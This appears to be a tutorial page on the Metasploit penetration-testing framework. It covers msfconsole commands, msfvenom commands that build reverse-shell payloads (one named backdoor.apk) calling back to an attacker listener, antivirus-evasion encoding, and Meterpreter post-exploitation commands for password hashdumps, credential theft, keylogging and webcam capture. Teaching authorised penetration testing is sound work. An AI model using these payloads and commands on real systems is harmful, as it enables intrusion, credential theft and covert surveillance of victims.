Cyber Defence
Tools Tutorial

Metasploit Framework Complete Guide

Master the Industry Standard Penetration Testing Framework

By Amit Kumar|January 15, 2026|16 min read

Getting Started with msfconsole

# Starting msfconsole
msfconsole
msfconsole -q              # Quiet mode
msfconsole -r script.rc   # Run resource script

# Inside msfconsole
help                      # Show all commands
search exploit_name       # Search modules
use module_path           # Select module
show options              # Show module options
show targets              # Show vulnerable targets
show payloads             # Show compatible payloads
info module_path          # Module details
set OPTION value          # Set option
setg OPTION value         # Set globally
unset OPTION              # Clear option
run / exploit             # Execute module
back                      # Go back to previous level

# Database
db_status                 # Check database
workspace -a name         # Create workspace
hosts                     # Show discovered hosts
services                   # Show discovered services

Payload Generation with msfvenom

# Basic Payload Generation
msfvenom -p windows/meterpreter/reverse_tcp   LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe

# Linux Payload
msfvenom -p linux/x64/meterpreter/reverse_tcp   LHOST=192.168.1.100 LPORT=4444 -f elf -o payload.elf

# Web Payload (PHP)
msfvenom -p php/meterpreter/reverse_tcp   LHOST=192.168.1.100 LPORT=4444 -f raw -o shell.php

# Python Payload
msfvenom -p python/meterpreter/reverse_tcp   LHOST=192.168.1.100 LPORT=4444 -f raw -o shell.py

# Android APK Payload
msfvenom -p android/meterpreter/reverse_tcp   LHOST=192.168.1.100 LPORT=4444 -f apk -o backdoor.apk

# With Encoding
msfvenom -p windows/meterpreter/reverse_tcp   LHOST=192.168.1.100 LPORT=4444 -e x86/shikata_ga_nai   -i 5 -f exe -o encoded_payload.exe

Meterpreter Commands

# System Commands
sysinfo                    # System information
getuid                     # Current user
getsystem                  # Privilege escalation
ps                         # Running processes
migrate PID                # Migrate to process
kill PID                   # Kill process

# File System
ls                         # List files
cd /path                   # Change directory
pwd                        # Current directory
download file              # Download file
upload file                # Upload file
cat file                   # View file
edit file                  # Edit file
mkdir folder               # Create directory

# Network Commands
ipconfig / ifconfig        # Network info
netstat                    # Network connections
portfwd add -l 8080 -p 80 -r target # Port forward
route                      # Routing table

# Credential Access
hashdump                   # Get password hashes
load kiwi                  # Mimikatz equivalent
creds                      # List cached credentials

# Additional
screenshot                 # Capture screen
keylogrecorder             # Keylogger
webcam_list                # List webcams
webcam_snap                # Capture from webcam

Frequently Asked Questions

What is Metasploit Framework and how does it work?

Metasploit Framework is the world's most widely used penetration testing framework. It provides: exploit modules (ready-to-use exploits), auxiliary modules (scanning, fuzzing, info gathering), post-exploitation modules, payloads (code to execute), encoders (bypass detection), and nop generators. Work flow: reconnaissance -> exploit selection -> payload choice -> execution -> post-exploitation. Available as free open-source (MSF) and commercial (Metasploit Pro).

How do I use msfconsole for penetration testing?

msfconsole basics: start with 'msfconsole', search exploits with 'search type:exploit name', use 'use module_path', set options with 'set OPTION value', check options with 'show options', run with 'exploit' or 'run'. Example workflow: search EternalBlue, use it, set RHOSTS, set PAYLOAD, configure, exploit. Master these commands and you'll be using MSF effectively.

What are Meterpreter payloads and how do I use them?

Meterpreter is a advanced Metasploit payload providing: command execution, file system access, process manipulation, keylogging, screenshot capture, password hashing, pivoting, and extensive post-exploitation capabilities. Types: windows/x64/meterpreter/reverse_tcp (Windows 64-bit staged), linux/x64/meterpreter/reverse_tcp (Linux), python/meterpreter/reverse_tcp (Python). After gaining access: use 'getsystem' for privilege escalation, 'hashdump' for password hashes, 'screenshot' for desktop capture.

How do I generate custom payloads with msfvenom?

msfvenom generates standalone payloads: basic usage 'msfvenom -p PAYLOAD -f FORMAT -o file', example 'msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 -f exe -o payload.exe'. Options: -p (payload), -f (format: exe, raw, python, elf, apk), -e (encoder), -i (iterations/encoding count), -a (architecture), --platform (Windows/Linux/Android). Always encode for AV evasion - use multiple iterations.

What are Metasploit modules and how do they work?

Module types: Exploit (attack code), Auxiliary (scanning, enumeration, DoS), Post (post-exploitation, data extraction), Payload (code to run after exploit), Encoder (obfuscation), NOP (No Operation - padding). Each module has: options (configurable parameters), targets (vulnerable systems), actions (what module does), and references (CVE, exploit-db links). Modules are stored in: /usr/share/metasploit-framework/modules/

Master Metasploit with Cyber Defence

Learn exploitation techniques in our comprehensive penetration testing course.

View Course